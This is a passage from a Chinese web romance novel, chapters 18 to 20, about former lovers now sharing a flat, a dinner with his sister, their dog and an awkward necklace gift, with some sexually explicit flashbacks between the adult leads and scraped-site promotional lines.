霓音垂眸用筷子拨弄碗中的蟹肉,“最近他也在拍戏嘛。”
她换了话题,柔声问:“微月姐,你现在在做什么呀?”
容微月介绍着,霓音说她也很喜欢花丝镶嵌:“接下来如果我接古装戏,也和剧组推荐晴月阁,我也想和你们工作室合作。”
容微月弯唇:“好。”
霓音揶揄傅蔺征:“哥,你最近还是都在忙赛车的事吗?爸爸妈妈还问你什么时候回家,要给你介绍女朋友,我也觉得,你老大不小了还单着。”
容微月微捏筷子,轻轻抬眼看向对面的男人,傅蔺征绷着脸怼去:“你自己现在过明白了么就管我?”
“哥哥本来就要起带头作用啊,”霓音喝柠檬茶,“不然你和我说说,你喜欢什么类型?我猜你肯定喜欢那种性感妖娆的御姐,烈焰红唇大波浪。”
傅蔺征冷眼睨她:“谁瞎扯的?”
“那我知道了,你肯定喜欢那种特别可爱幼稚的萝莉萌妹。”
男人无语,“你再胡说八道?”
霓音一双楚楚动人的水眸藏着笑意:“那我知道了,你应该是喜欢那种温柔清冷的书香美人,看过去清清柔柔,干干净净,笑起来眼睛弯弯像月牙,平时挺内敛文静的,但是在你面前会撒娇会黏人的那种,对不对?”
容微月握着汤勺的手微顿,心头像是有个泡泡戳破,傅蔺征默两秒,拿着空碗起身去装饭,“懒得理你。”
霓音笑:“哥看来你是喜欢这个类型啊,那你遇到了可得主动出击,这么好的女孩子别人也会追的,别到时候我孩子都有了,还没有嫂嫂呢。”
傅蔺征脸黑:“能专心吃你的饭?”
“我这是关心你嘛……”
傅蔺征装完饭回来,就看到容微月放下了筷子,他微眯眼:“这点就饱了?你吃的能有呼呼多?”
“……”
容微月咕哝说饱了,主要是怕菜太少他们不
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够吃,傅蔺征直接给她碗里舀鱼,“再吃点鱼。”
霓音笑笑:“哥,你可真关心微月姐,我吃的少你也没说。”
“你碗拿过来。”
“别别别我开玩笑的,我吃多了上镜不好看……”
三人聊着天,因为有霓音,饭桌上添了许多欢声笑语。
饭后,霓音说把桌面交给傅蔺征收拾,拉着容微月去阳台聊天。
阳台外,霓音挽住容微月的手,轻声问:“微月姐,假如你有男朋友,他每天工作都很忙,经常没办法和你约会,但他说努力拼搏事业是为了你,你怎么想的?”
容微月想了想:“我觉得事业挺重要的,但也不能有他没他都一样吧,关键是你自己感觉他对你用不用心,是……那个宋詹对你不够好吗?”
霓音叹气:“我感觉现在和他在一起越来越累了,那当初你和我哥在一起的时候,他会这样吗?他会不会经常放你鸽子?”
风吹得她有点冷,容微月打了个喷嚏:“傅蔺征他……他好像不会这样,一般他答应什么都会做到。”
之前傅蔺征许诺她的大事小事都会实现,每次约会他都是先到,不让她等,有一次他说陪她去外地参加小提琴比赛,但临时要去国外训练,训练完他连夜坐飞机回国,还是守在她身边。
唯独毕业那次……
她联系不上他。
霓音托腮弯唇:“那看来我哥还真挺不错的。”
正说间,傅蔺征嗓音传来:
“说我什么。”
容微月对上他目光,莫名有点心虚地垂睫,傅蔺征把两件薄毯披风给俩人。
容微月道谢披上,揉了揉鼻子,傅蔺征把她手里的果汁抽走,换成一杯热饮,低沉嗓音落下:“打喷嚏了还喝这么冷的,又想感冒了让人伺候?”
她怔了下,温声道谢,低头察看杯子,傅蔺无奈道:“就红糖水,没加生姜。”
“谢谢……”他竟然还记得她不爱吃生姜。
红糖水在掌心热乎乎的,一旁霓音不禁暗自感慨,她也体虚啊,怎么没见她哥这么关心她。
她想到什么,问:“哥,我刚刚和微月姐在聊男人该如何平衡好事业和爱情,你怎么看的?”
傅蔺征手插兜,长腿疏漫踩地,靠着栏杆,嗓音慵懒:“这很难么,有本事的男人就是爱情事业两手抓,平衡不了谈什么恋爱?”
“……”
“那哥,如果你中了五个亿的彩票,只剩下最后十分钟兑奖时间,但是你老婆不开心了,要你留在家里哄他,她不知道你中奖了,你选择什么?”
傅蔺征:“……你这什么奇葩问题。”
“哎呀打比方嘛,所以五个亿和老婆对比,哪个更重要点?”
容微月摩挲着热乎乎的杯子,闻声也忍不住抬头看他,就见傅蔺征朝她看来,拖腔带调道:
“这还需要纠结?当然是老婆最重要,五亿和她有可比性么?我又不缺这五亿,但老婆只有一个。”
容微月和他对视着,心间莫名微乱,埋头喝红糖水,可几秒后头顶落下嗓音:
“喂,容微月,你对这件事怎么看。”
她呆住,“我?”
傅蔺征拢下眼尾,直勾勾对上她目光,唇角一松,嗓音懒拽:
“没其他的意思,就随便问问,假设你是这老婆,你满不满意这样的老公啊?”
〓作者有话说〓
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第 19 章 “还是好紧。”
第19章第十九章
【“还是好紧。】
chapter19
傅蔺征的话格外微妙。
仿佛在问,她满不满意他……
“老公老婆的称谓太过亲昵,容微月捏紧杯子,心头像是被加热到咕嘟嘟冒泡的热奶茶,带着水眸轻轻泛起涟漪。
不过他可能只是随口一问,是她自己想太多了吧……
容微月偏开眼,掐灭其他的猜测,抿了抿唇,客观回答这个问题:“我不太满意。
她温吞咕哝:“我希望我老公选择五个亿,这是我们的婚后财产呢,我这样就有2.5亿了,我心情肯定好起来了,也不需要他哄。
傅蔺征:“……
霓音笑出声音,拍着容微月肩膀:“微月姐我和你一样哈哈哈!有这么多钱还要男人干嘛,哥,你这样的老婆脑一边待着去吧!
“……
傅蔺征偏眼轻嗤,对这俩俗不可耐的人无话可说。
有他不比五个亿重要?何况他可有不止五个亿。
聊了会儿天,霓音说要回剧组了,迟些还要和演员们对台本,主要她想着在这儿老当电灯泡不好。
走的时候,傅蔺征刚刚给她买的爱吃的水果和蛋糕也到了,提给霓音:“遇到什么事情告诉我,不要硬扛着听到没?那宋詹靠不住就赶紧给我分了,我们家养不了你一辈子?
霓音没有靠家里的资源,现在一个人在娱乐圈打拼,每天都很辛苦。
霓音含笑接过:“哥,你放心吧,我会照顾好自己的,你和爸爸妈妈都陪在我身边呀,而且你还是多操心操心你自己吧,赶紧脱单,老大不小了老光棍一个。
“……
霓音瞄了眼容微月,朝傅蔺征笑意盈盈,男人无奈轻敲她脑袋,“没完没了是吧,回去拍你的戏去。
走到玄关,霓音拉住容微月,对傅蔺征摆手:“哥你先进去吧,我还有几句悄悄话要和微月姐说。
傅蔺征眯眼:“你又想乱说什么?
“我们女生之间的悄悄话不行?
傅蔺征只好走进客厅,霓音换好鞋子,朝容微月温柔一笑:“微月姐,很高兴你能回京市,之前微信找你的时候,你都没有回我,我难过了很久,从前高中我可喜欢你了……
当初她们都有参加学校的奥数竞赛班,有次霓音急性阑尾炎,容微月没上课陪她去医院照顾她,她参加舞蹈比赛,容微月买奶茶和蛋糕给她加油鼓劲,她有时心情不好,容微月还会陪她聊天,就像知心大姐姐一样。
就算没有傅蔺征,她还是会很喜欢对方的。
容微月闻言,心头扎进密密麻麻的针,愧疚
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:“抱歉音音我和你哥分手后我觉得不合适就没再联系你了……”
“没事微月姐当初的事过去了”霓音拉住她的手“我们可以常联系呀有空我们一起吃饭。”
容微月莞尔:“好。”
“现在你住在这儿我找你可方便了而且我感觉我哥也很高兴呢。”
容微月微怔霓音凑过来轻声道:“微月姐偷偷告诉你一件事我哥毕业后我爸妈经常给他介绍对象也有好多女孩子追求他呢但是他一个都没见全部拒绝了连联系方式都不加。”
容微月呆住霓音笑笑:“不晓得他是都没看上还是什么如果你好奇也想知道我感觉他戴着的项链会有答案从来没有人看到过他脖子上的吊坠上是什么。”
最后霓音笑笑“我走啦。”
关上门容微月还有些出神直到走回客厅看到傅蔺征正在逗呼呼。
男人懒洋洋地倚在沙发前长腿随意伸展
黑色毛衣衬得他肩背平整利落暖黄的灯光兜头而下在他眉骨和下颌镀上几分柔和的光影棱角的冷厉被懒意冲淡笑意吊在唇角带着满满的少年气。
就像从前在学校午休他老是黏在她身边把玩她头发逗她睡醒又亲她的模样。
傅蔺征闻声抬眼看她:“你俩聊什么呢?不会在说我坏话呢吧。”
“没有……”容微月视线不禁落向他脖子黑链的吊坠藏在毛衣下看不见她压下微乱的思绪“就说以后有空再来找我吃饭。”
“我妹不知道我俩住一块儿今晚直接过来了我和她说一声以后过来提前说。”
容微月懵了懵想到之前她提出的同住合同感觉他好像误会了“没事的我很喜欢音音她随时来都可以。”
傅蔺征懒懒应了声把叼着**球跑过来的小团子抓住“我给呼呼修个**你过来帮我抓住它省得它乱动。”
“好……”
呼呼最讨厌剪**扑腾了两下知道逃不掉委屈地耷拉下脑袋毛茸茸的小白棕蒲扇盖在脑袋旁。
容微月在他旁边坐下帮忙笑着摸摸呼呼的头傅蔺征拿出剪刀她看着他熟稔又细致的动作:“没想到你还会这个像个老师傅了。”
傅蔺征轻笑:“某人跑路了老子一个人一把屎一把尿把它从两个月养到现在这有什么难的。”
容微月语噎傅蔺征修剪着声音慢了些:“呼呼一岁的时候有段时间经常吐吃什么吐什么整天蔫了吧唧的跟快挂了似的我那段时
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间跑了医院三四趟,还带它飞去国外看专家。
容微月心头绷紧:“那后来呢……
傅蔺征操作着剪刀,垂眼淡淡道:“后来查出是慢性肠胃功能紊乱引发的厌食,也没别的办法,只能每天把狗粮、鸡胸肉那些吃的一点点捣碎变成泥,用针筒一口口给它喂下去,这祖宗脾气还很大,不吃就咬我,喂一口吐两口。
“那阵子晚上我都不敢睡,半夜听到它动静还得爬起来看,去外地训练都要带着它。
傅蔺征说得轻描淡写,像在讲别人发生的故事,可容微月听着,心底却涩得发紧。
她清楚傅蔺征的性子,向来又急又燥——
若不是心甘情愿,傅蔺征根本做不来这些。
当时傅蔺征说陪着她一起把呼呼养大,她走了,他却没有食言。
容微月心头的愧疚翻涌着,刺得眼眸微润:“对不起……当初是我喜欢呼呼,让你把呼呼领回家,后来我又不管它了……
她耷拉下脑袋,忍不住砸下颗泪珠:“现在很多事我都不会了,上周你不在,我给它驱个虫都要研究半天……
傅蔺征见此,瞬间拧眉:“哭什么?
她摇摇头,傅蔺征放缓语气:“这有什么,我养不是一样?反正这家伙现在天天生龙活虎的,动不动扑到人怀里,比老子还幸福。
傅蔺征起身,几秒后她视野中递来一包东西。
身旁磁懒的嗓音传来:“呼呼的健康档案我重新建了个电子卡,绑定了你手机号,以后每次体检、疫苗、洗牙都会通知你,宠物乐园包年卡也在这里,你都要和我带它去玩。
容微月怔得转头看他,傅蔺征唇角扯起弧度:“怎么,你以为现在还逃得了?以后有你照顾它的时候。
以后可以是多久……
她接过,指尖不由自主收紧,珍视般握着,心头填充暖意,眼睫翩跹:“那你随时叫我。
她也不知道能照顾呼呼多久,以后傅蔺征有女朋友,她肯定也不合适再住在这儿了。
不过有一天算一天,她很珍惜。
手心传来湿润,容微月看到呼呼舔了舔她指尖,眨着黑葡萄似的眼睛,像是在安抚她,她愣了下,轻轻弯起唇畔。
剪完**,傅蔺征手机响起,是霓音打来电话,说已经到剧组了,他锁上屏幕,随口问:“今天音音有没有和你说她和宋詹的情况,她是不是心情不太好。
容微月捏着呼呼的爪子,回想道:“有点儿,好像是宋詹老放她鸽子,他们俩在一起很多年了吗?
“去年才谈,我妹表白的,傅蔺征轻嗤,“这男的有屁用,现在就对她这么敷衍。
容微月很少见傅蔺征讨
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
厌这样一个人“你很不喜欢宋詹吗?”
“藏着掖着和我妹在一起不官宣说怕影响事业没点担当谈女朋友这种事他能瞒得住?”
傅蔺征性格向来高调张扬当初追人就轰轰烈烈她同意和他在一起后他都恨不得天天把她是他女朋友写在脸上。
容微月道:“音音好像高中就暗恋他吧?我其实对宋詹还挺印象深刻。”
傅蔺征转眼看她“怎么你还关注他?”
“不是……”
容微月说当初有次他们一起参加物理竞赛那天她拿了第一宋詹拿了第二在回校的中巴车上宋詹对老师同学们说难得容微月一个女孩子理科那么厉害。
他笑说刚好比赛时候肚子疼不然比她分数高点但他这一疼倒是成就了澜高历史上第一个女生拿第一的成绩倒还挺值。
当时容微月听到这话
“你确实应该感谢你肚子疼为你考不过我找了个名正言顺的借口我从初试到决赛都是第一需要你衬托什么承认你不如我有这么难吗宋同学?”
宋詹:“……”
周围有好几个同学又忍不住笑没想到向来内向的容微月如此刚宋詹的脸都成了猪肝色。
容微月摸着呼呼肚子温吞嗫嚅:“我本来就比他聪明啊就算他肚子不疼也考不过我。”
傅蔺征听到她语气中淡淡的小骄傲好可爱勾唇笑了:“嗯你说的是实话。”
容微月揉了揉耳根“但我不了解宋詹可能他也有其他优点吧但我总觉得音音要配得上更好的而且宋詹也没那么帅啊在我标准里。”
傅蔺征噢了声挑眉看她:
“那你倒是说说看在你标准里谁帅?”
容微月转头看到傅蔺征的脸冷拓凌厉是极为标准的浓颜攻击性极强毫不掩饰当初澜高公认的大帅哥他的性格可能太过张扬还有人不喜欢但没人敢否认他这颜值。
但此刻要说是他这人尾巴都得翘到天上臭屁个好几年。
容微月低头给呼呼梳**道:“就比如……贺行屿吧我觉得他最帅。”
贺行屿也是傅蔺征和夏斯礼一圈的兄弟矜贵的京圈贺家长子傅蔺征脸黑嗤笑:“贺行屿最帅?”
那他呢?他呢?
容微月压在唇角陈述事实:“他高中时候确实挺帅啊有次学校论坛投票你和贺行屿哪个更帅你输了他两票。”
“……”
傅蔺征喉间滚出声懒嗤:“两票算什么现在我在帅哥这道路上遥遥领先他呢发福了啤酒肚有六个月大还整天不刮胡子。”
容微月:……不
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
可能吧?
傅蔺征站起身,吊儿郎当道:“容微月,你现在的审美**了不少,还是赶紧提高一下,不然把呼呼交给你剪**,我都不放心。
“……
傅蔺征离开,容微月垂眸看向怀中的呼呼,眨了眨眼。
你爸爸好自恋哦……
陪呼呼玩了会儿,容微月去琴房练琴。
如今有了琴房,她只要忙完工作,就会去里面待着。
晚上十点多,她练完回卧室洗澡,与此同时,另外一头,傅蔺征处理完工作,也去洗了个澡。
从浴室出来,他再度看到桌面上的项链礼盒,拿起手机,点开夏斯礼的聊天框,敲击屏幕:
【训练回来,容微月送给我了个礼物。】
【本来不想收的,但是她呢非要给我,说爱慕我,盛情难却。】
他放下手机,想到什么,又懒洋洋补充一句:
【比你的手办包装更精致呢。】
那头夏斯礼正在酒吧应酬,看到信息笑得差点把嘴里的白兰地喷出来:
【?傅蔺征你特么装不装?】
【微月能给你送礼物吗?还爱慕你,我咋那么不相信呢?她送你啥啊?不会是送你一个尺子,让你量量你脸皮有多厚吧?】
“……
傅蔺征把项链拍过去:
【这是她送的,你酸什么?】
傅蔺征扔了手机,摘下脖子上的链子,而后把吊坠拿了下来。
另一头,容微月洗完澡,拿着水杯走出卧室。
她穿着件柔软的月白色睡裙,裙摆掠过膝盖上方,肩带纤细,露出白若霜雪的锁骨,红痣点缀上方,微湿的发梢贴在肩头,甜香氤氲在空气中,如雾里盛开的一朵山茶花。
去餐厅装水,呼呼小跑而来,围着在她脚边打转,她弯唇拿着麻雀玩偶扔到旁边。
她喝水逗着它,半晌转头看到傅蔺征走了出来。
男人洗完澡,一身薄绒深色浴袍,微湿的黑色短发滚落水珠,肌肉紧实鼓动,高高的个子骨架很大,挺拔卓越的身材勾人得要命。
只有客厅亮着微弱的灯,流动的霓虹光影透过落地窗落进来,给他身影笼上一层暧mei的冷欲。
冷白皮下,男人高挺的鼻梁上黑眸深邃,眼皮撩起看来,褪去青涩的成熟色气满满。
网络上不单单有傅蔺征的车迷,还有一大批颜粉和身材粉,曾经有帖子晒出一张比赛后男人的照片,他倚着赛车赤着上身,后背纹了潮汐刺青,背部肌肉群紧绷,劲瘦的公狗腰和宽肩对比明显。
当时评论区都是姐妹的裤衩子,大家说这辈子最想做的事之一就是和傅蔺征睡一觉,一定够猛,让人舒服得上天。
容微月用经历证明,
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确实如此,但但凡要睡,一觉根本不够,二次是最基本起步……
他瘾太大了,喂不饱似的,掐着她腰厚乳时能弄到她失神下雨,什么dirty或sweettalk都能说得出口,让人耳根瞬间红了。
毕业后有天下午,本来他们和夏斯礼几个约去外面玩,她换了条纯白百褶短裙,坐在他怀中,眨着水盈盈的眸子,娇声问:“傅蔺征,你帮我检查一下我舌头,我刚刚
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吃西瓜咬到了,有点疼,是不是很红呀?”
男生燥得心直烧,掐住她腰,锢住她下巴:“伸出来,我看看。”
她红唇微张,刚伸出来,就被他俯身勾住,**气息席卷而来。
而后她直接被他扛回了房间。
午后窗外蝉鸣声聒噪,盛夏阳光热烈,房间里糅合的汗珠被洒上金光,声音如墙壁的树叶光影摇曳。
容微月脸颊通红,鼻尖挂着汗珠,脑袋半趴在枕头里,被他十指紧扣,半晌旁边夏斯礼的电话进来,傅蔺征汗涔涔的胸膛贴着她纤薄后背,沉哑声音笼来:“还要去玩么,嗯?”
她眼底泪眼晶莹,摇摇头:“不要,我、我要和你……”
傅蔺征勾唇,“乖宝宝。”
他打了下她说松点,蹙着眉沉哼缓了几秒,接通电话,哑声道:“我和月月有事,不去了。”
挂了手机扔到一边,末了小船倾覆,容微月像扑腾的小鱼,傅蔺征又扯了片,把她捞到怀中,浑坏咬她耳垂:“缓好没有,时间够多,再来一次?”
午后日光到夜色降临,昼夜颠倒。
她见识到了他有多恐怖,到处都是,好多好多,最后她气鼓鼓让他洗百褶裙,他浑笑着,倒也甘心乐意。
思绪回到现实。
虽然这不是第一次见这他洗完澡的样子,但每次看到,她都容易想到曾经的画面。
傅蔺征拿着手机走到旁边,容微月眼睫扑簌,立刻往旁边靠了点,男人拿起桌上的水杯装水,笼下眼尾看她,慢悠悠反问:
“容微月,你挺不正常的。”
“每次看到我洗完澡的样子,你那么紧张干什么?”
“……”
傅蔺征喝了几口,把杯子放在桌上,慢条斯理道:“我劝你呢,把一些不该有的心思趁早扼杀在摇篮里,这样我和你住会没有安全感的。”
容微月无语抬头看他:“傅蔺征你能不能别那么爱脑补。”
“哦,是么。”
她有点心虚,也不想搭理他了,拿起水杯,“我回房了。”
“等等。”他懒洋洋挡在她面前。
女人一身睡裙,身段纤秾合度,两条腿细如藕根,唇瓣点着淡淡胭红,黑发还贴在颈肩。
傅蔺征眼底
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黯了几分,把口袋里她买的项链拿出来,悠然道:
“我看不见戴不了,帮个忙。
容微月愣了愣,“你可以照镜子。
“你给人送礼物,这点诚意都没有?
她默了默,看了眼他们的身高差,“你太高了,我也不好弄……
从前她也帮他戴过条项链,当时是汗涔涔躺在他怀里不着寸缕戴的,戴完他侧首,炽烫滚热的吻在她脖子,没过多久再度埋进,撑在她上方,脖子上的吊坠晃得厉害,滴滴汗珠滚落。
现在他们也不再适合那姿势。
“你坐高脚椅上。傅蔺征懒声道。
容微月犹豫了下,只好坐到水吧吧台前的,他走到她面前,距离很近,混坏劲儿进攻性明显,她心跳微乱垂下眼:
“那你转过去……
傅蔺征慢吞吞收回眼,背对着她。
容微月摸到他手中的项链,从前往后圈住他脖子。
傅蔺征像是故意握着吊坠,她试图瞥了眼,却看不见。
头顶灯光微暗,他的肌肉被包裹在浴袍之下,清冽的竹叶薄荷气息在鼻尖浮动,黑发时不时滴落的水珠砸在她手背,却灼得隐隐发烫。
她近视,必须凑得更近。
“你怎么那么慢啊。傅蔺征揶揄。
“你别动,她看着男人分明的侧脸,心跳微乱,保持镇定问,“你要紧点,还是松点。
“松点。
“这样可以吗……
傅蔺征嗓音磁哑:“还是好紧。
这对话太过令人浮想联翩,容微月手心微微出了汗,又往外退了三格,“这样可以吗?
他懒懒应了声。
傅蔺征手机震动了下,是夏斯礼的语音,他随意点开,贴在耳畔的听筒模式,却还是格外清晰在两人中响起:
“我靠,容微月给你送这项链?我刚刚去问了千棠,这项链是RTdeed家刚上的新款,名字叫驯服!意为‘牢牢拴住你,不让你跑掉’!
夏斯礼激动笑:“而且网友们开玩笑称这链子为狗链,是代表主人对佩戴者的驯服,哈哈哈哈,微月这什么意思啊?
容微月:……?!!
不是,她买的时候不知道啊!!
那天买的时候因为工作室临时有客户,她没有来得及细问含义就直接让柜姐打包了。
她尴尬得想立刻把这链子收起,谁知手一抖,扣子刚好扣进环中。
银黑色的古巴链挂在傅蔺征的脖子上。
牢牢拴住了。
容微月脑袋嗡嗡,立刻下了高脚椅,张了张嘴欲解释,但突然脑中空白。
是要说什么呢,是说她没打算驯服他呢,还是说她没把他当狗呢QAQ……
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只想遁地,她太尴尬了,“我先回房了。”
容微月转头快步逃走,谁知刚到卧室门口,一道力量扣住她细腕,被往后一拉,抵到了墙壁上。
傅蔺征一米八.九的身高带着体型的绝对压制,将她困在领地,张扬的攻击性扑面而来,距离极近,白色睡裙微微褶皱,和他的浴袍若触若离。
她脑中空白,声音细颤:“傅蔺征你放开……”
她心跳鼓鼓,继续想逃,盈盈一握的细腰却被他手臂揽住再度拉回来,掌心隔着睡裙往腰里熨烫,侵略性毫不掩饰。
他太凶了,像是从前把她拎起来按在墙上冲撞,一瞬间那股热如膝跳反射般涌出,她眼睫扑闪,不自觉轻嘤一声,手紧紧挡着他臂膀。
傅蔺征听着她声音,喉间烧得厉害,薄唇吐出热气:“你心虚跑什么?”
她耳根灼红,“我没有……”
傅蔺征宽大的身躯如一堵墙,让她无处可逃,脖颈上的古巴链此刻微晃着,泛起冷光,贴在皮肤上,格外冷欲。
傅蔺征俯身,锐利眉眼压下对她目光,眼皮黑痣撩起,神色暗热,低哑含笑嗓音落在她耳边:
“容微月,你是不是要解释一下这狗链——”
“我老老实实本本分分,只拿你当室友,没想到你对我的占有欲,已经这么强烈了?”
容微月:“……”
〓作者有话说〓
嘿嘿嘿驯服大狗狗,傅蔺征愿意当月月的狗[黄心][害羞]
这个体型差谁懂以后的训狗文学有多香[爱心眼]
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第 20 章 “跑什么,我又不会走。”...
第20章第二十章
【“跑什么,我又不会走。】
chapter20
夜色如打翻的墨水,走廊只剩下头顶微黄灯光垂下,却被傅蔺征高大的身影遮挡。
容微月被他抵在墙上,旁边地面的两道影子靠得极近模糊了轮廓,仿佛缠交在一块儿。
他宽大的身躯和绝对的力量差让她无处可逃,浑身散发的荷尔蒙热意透过空气一波一波传来。
年轻男人都血气方刚,何况是傅蔺征这样的专业赛车手,平日里力量训练和运动量爆棚,肌肉量大,分泌的gao酮水平更高,代谢更好,yu望自然而然更大。
从前高中时他和她一个拥抱牵手,甚至是她一个眼神他就会起来,每天晚上送她回家都要在没人的地方缠着她亲亲,亲到他眼睛都红了,浑身都好热。
肚子被戳,一开始她都羞透了,不让他靠近,傅蔺征哑声求她:“就再亲五分钟好不好。
她就没见过他这么缠的人。
如今六年过去,男人成熟的张力愈发明显,深夜更容易让人浮想联翩,曾经那植入骨髓的蚀骨滋味再度冲击容微月大脑,让她感觉不受控起来。
可那感觉好像不是厌恶,而是慌乱。
她不知道自己在慌什么……
此刻男人调侃的质问落下,容微月心脏快要跳出嗓子眼,有点羞恼:“傅蔺征……你先松手。
不是,就他这样还本本分分老老实实?
到底是谁不老实……
她瞪着他的琥珀眸子透亮,染上层湿润水雾,像是炸毛的小猫咪,仿佛下一刻就要咬人。
好想被她咬啊。
怕惹她生气,也怕再下去他会控制不住,傅蔺征松开手,可仍旧挡在她面前,“不解释?
他非要逗她,让她给个说法。
“……
这人就是故意的。
怎么能这么混蛋……
夏斯礼那几句“主人“驯服等等太过疯狂的词汇在容微月脑中盘旋,她脸颊像是被热番茄滚过,吐了口气,保持镇定开口:
“我当时买这个项链的时候不知道它的寓意,纯属凑巧,抱歉给你造成了误会,你别想太多了。
傅蔺征拖腔带调哦了声,“也行,你说误会就误会吧,我还能说什么。
“……?
容微月捏紧手中的杯子,认真解释:“我也只是老老实实把你当室友而已,除此之外你别多想。
傅蔺征唇角笑意淡了几分。
容微月瞟到他脖子上的古巴链,觉得这误会必须解决下:“麻烦你把这个项链摘下来给我。
傅蔺征脸色微沉睨她:“你礼貌吗?给别人的礼物
你的朋友正在书荒,快去帮帮他吧
还要收回去?”
“不是……我的意思是我拿去退再给你一条新的行吗?”
“你不知道么这牌子售出不退不换。”
她说再买一条傅蔺征:“太紧了摘不下来。”
“……”
她还想说什么男人淡淡截住她的话:“你要不想多这就是一条普通的链子你紧张什么?还是你心虚了?”
容微月细睫一颤傅蔺征慢条斯理声音落下:“原来的项链洗澡时刚好断了这条最近先凑合戴吧。”
容微月:???
她还想说什么傅蔺征已经转身走了。
不是……
最后她回到房间脑中一团乱麻忍不住给殷绿发信息讲了这件事殷绿得知捧腹大笑说换做是她脚趾都抠出三房一厅了太尴尬了。
殷绿:【傅蔺征收了这项链第一有可能确实如他所说原来的链子坏了这个凑合用它的寓意他并不在意。】
殷绿:【第二种可能可能性最大就是他就乐意被你拴住乐意当你的狗[咧嘴]】
容微月:“……”
末了她把脸埋进床里脑中翻滚着夏斯礼那些话恨不得自刎埋地。
尴尬太尴尬了……
下次她再也不乱送傅蔺征东西了!
-
晚上容微月习惯性吃了药缓了好久才入睡。
不知道是不是受傅蔺征晚上的话影响她做了个无厘头的梦。
梦里傅蔺征在家里厨房做蛋炒饭头上戴着个赛车头盔围着围裙正努力地颠勺。
动作很帅气但是锅周围和灶台旁全掉满了米饭和鸡蛋锅里已经糊成了炭黑色容微月路过瞠目结舌傅蔺征懒洋洋问:“我这厨艺怎么样?”
她怕得罪他:“……挺好的。”
傅蔺征轻笑了声不颠勺了转身去房间拿了个戒指给她悠然道:“容微月我看得出来你很喜欢我这样吧给你个机会向我求婚。”
“?”
从睡梦中醒来她看着天花板恍惚许久都想笑。
她怎么感觉这话是傅蔺征这样臭屁的人能说出来的呢……
不是她干嘛梦到他呀……
缓过神她下床走去盥洗室洗漱
如今京市气温渐降深冬即将到来。
昨日下了雨今天外头的天却湛蓝一片几朵棉花云轻柔飘浮在空中让人看了心情都好。
走出卧室呼呼醒了叼着小麻雀朝她哒哒哒走来吧唧一下放到她脚边朝她摇
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
尾巴。
“宝贝,早上好呀。
容微月笑着把它抱起来,揉了一顿,走去先给它碗里添了点水。
她正要去厨房,傅蔺征的卧室门打开,男人走了出来,一袭黑色夹克,腰带勾勒出紧实的腰线,工装裤包裹的长腿疏漫踩地,头身比完美,高高的个子都得让人抬起视线。
再往上喉结凸起,线条冷厉的下颌线流畅,整张脸帅得太权威,乌眸深沉,鼻梁高挺,连空气都被他拽懒的气场搅热了几分。
脖子上那条古巴链格外晃眼。
昨晚的回忆扑面,容微月飞速收回头装水,听着男人脚步声越来越近,直至路过时,懒散男声传来:
“食材不小心准备多了,多做了份三明治,在桌上。越戈
轻飘飘的,仿佛昨晚的事没发生。
容微月愣了愣,“好……谢谢。
她坐到餐桌前,就看到傅蔺征拉开椅子,在对面坐下,平时傅蔺征要比她出门得早,她醒来时他一般都走了。
容微月感觉到对面目光时不时瞥来,抬头一看,傅蔺征吃着三明治,懒洋洋偏头看着阳台。
是她的错觉吧。
鲜少同桌吃饭,她不知道说什么,沉默地埋头咬三明治。
食材的确好丰富,鸡蛋,培根,火腿,生菜等厚厚的一个,挤了蛋黄酱,还有一盘草莓和蓝莓,和一杯燕麦牛奶,都是她喜欢的。
之前她早餐都随便对付一下,有的时候太忙了喝杯美式就拉倒,她慢慢吃着,对面男人漫不经心的声音传来:
“今晚几点回家。
“嗯?
他和她对视,“谁喂呼呼。
“我可以,我六点下班,今天应该没什么事。
傅蔺征应了声,手机震动,是4S店长发来的信息:【征爷,你朋友的车子问题查出来了,电池管理系统的荷电状态传感器坏了,换个新的就好了,正好昨天零件刚到货[咧嘴]早上就给你弄好。】
傅蔺征:【谢了不用,我助理早晨会过去开走,我来处理。】
店长:【啊???】
傅蔺征咬完最后一口三明治,起身走到她后方的吧台装水,慵懒启唇:“4S店给我发来信息了,你车检查结果出来了。
容微月倏地回头看他:“怎么样?
傅蔺征靠着吧台,轻啧:“不太好,你那车的BMS出了问题,荷电状态传感器老化,导致SOC回馈异常,整套电池管理失衡了,系统获取不到精准荷电值,等于上层控制在盲算电量,运气不好,突发情况下可能触发系统自我保护机制,自动断电。
容微月:???
“挺麻烦的,4S店搞不定,我让怀裕帮你把车开到我车
听说看这本书的人都是很幸运的,分享后你的运气会更棒
队,我这边研究下。
容微月被一个个陌生专业词汇震惊到了,心凉了半截,想哭:“这么严重?那我车能修好吗?
她以后还能开车出门吗QAQ……
男人喝了口水,长腿慵懒搭在地上,垂眼看她吊起眉梢:“你是怀疑我还是怀疑我的车队?
傅蔺征参加的是世界顶级的赛车比赛,身边都是研究车辆的高精尖团队成员,她这像是把小学数学题拿去问一群博士。
她是担心她的车真有大毛病,“那大概要修多久啊?
“估计……还要个两三周吧。
还要那么久的吗?
“不过我没记错的话,昨天小区门口开始修路了,你现在得绕一大圈才能去到地铁站,公交站也没直达的。
傅蔺征呢叹气,“你上班可太不方便了呢。
“……
她也在头疼这个,“那怎么办……
傅蔺征倚向餐桌,指尖转动着跑车钥匙,漫不经心的声音落下:“这样吧,看在室友的交情上,我勉为其难忍一忍麻烦,接下来每天送你上下班吧。
啊,他送她上班?!
这方法千万种不合适,她立刻摇头,“不用,太麻烦你了。
“老子乐意。
容微月微怔,傅蔺征轻咳了声,视线偏向远处,语调生硬:“我的意思是,最近我刚好没那么忙,麻烦就麻烦,就当日行一善了。
“……
容微月婉拒:“谢谢,还是不用啦,我多走点路吧,就当锻炼身体了。
而且实在不行她还能打车呢。
傅蔺征闻言扯唇:“随便。
这时助理舒槿打来电话,那头问:“微月姐,你什么时候来工作室?有个俄罗斯的漆画工作室说想和我们谈合作,已经到了,他们只有两个小时,中午的飞机就回国了。
容微月想到可能是昨天参加兰心博览会遇到的展商,她忙看了眼手机时间,“我现在就出门,大概十五分钟,你先招待他们在展览区逛逛。
“好,你快来。
容微月把最后一口三明治塞进嘴里,拿着包完外走,立刻在手机叫车。
然而正值早高峰,前方多人等待。
傅蔺征慢悠悠出门,她跟着进了同一电梯,到楼下时车还没叫到,看到他往停车场走,她眼瞧着来不及了,忍不住跟上去:“傅蔺征,我、我没叫到车……那你现在还能送我吗?
男人垂眼看她,吊儿郎当勾唇:
“呦,怎么,不锻炼身体了?
“……
